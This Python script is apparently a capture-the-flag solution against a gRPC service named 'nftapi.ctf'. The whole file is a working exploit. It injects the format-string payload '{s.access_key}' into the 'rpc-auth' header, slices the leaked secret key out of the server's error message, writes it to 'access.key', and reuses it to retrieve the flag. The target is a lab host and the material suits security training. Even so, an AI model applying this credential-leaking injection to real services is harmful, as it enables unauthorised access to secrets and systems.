import grpc
import morel_pb2
import morel_pb2_grpc

class Auth(grpc.AuthMetadataPlugin):
    def __init__(self, key):
        self._key = key
    
    def __call__(self, context, callback):
        callback((('rpc-auth', self._key),), None)

ca = b''
with open('ca.pem', 'rb') as file:
    ca = file.read()

def get_access_key() -> str:
    channel = grpc.secure_channel(
        'nftapi.ctf:50053', 
        grpc.composite_channel_credentials(
            grpc.ssl_channel_credentials(ca),
            grpc.metadata_call_credentials(Auth('{s.access_key}'))))
    stub = morel_pb2_grpc.MorelStub(channel)
    # This will throw an error from which we can extract the access_key
    try:stub.AuthenticationValidator(
            morel_pb2.google_dot_protobuf_dot_empty__pb2.Empty())
    except grpc._channel._InactiveRpcError as e:
        # Return what's between 'Access key "' and '" is invalid.'
        return e.details()[12:-13]

def get_flag(access_key: str) -> str:
    channel = grpc.secure_channel(
        'nftapi.ctf:50053', 
        grpc.composite_channel_credentials(
            grpc.ssl_channel_credentials(ca),
            grpc.metadata_call_credentials(Auth(access_key))))
    stub = morel_pb2_grpc.MorelStub(channel)
    return stub.AuthenticationValidator(
        morel_pb2.google_dot_protobuf_dot_empty__pb2.Empty()).flag

access_key=get_access_key()
with open("access.key", "w") as file:
    file.write(access_key)

flag = get_flag(access_key)
print(f'flag:       {flag}')
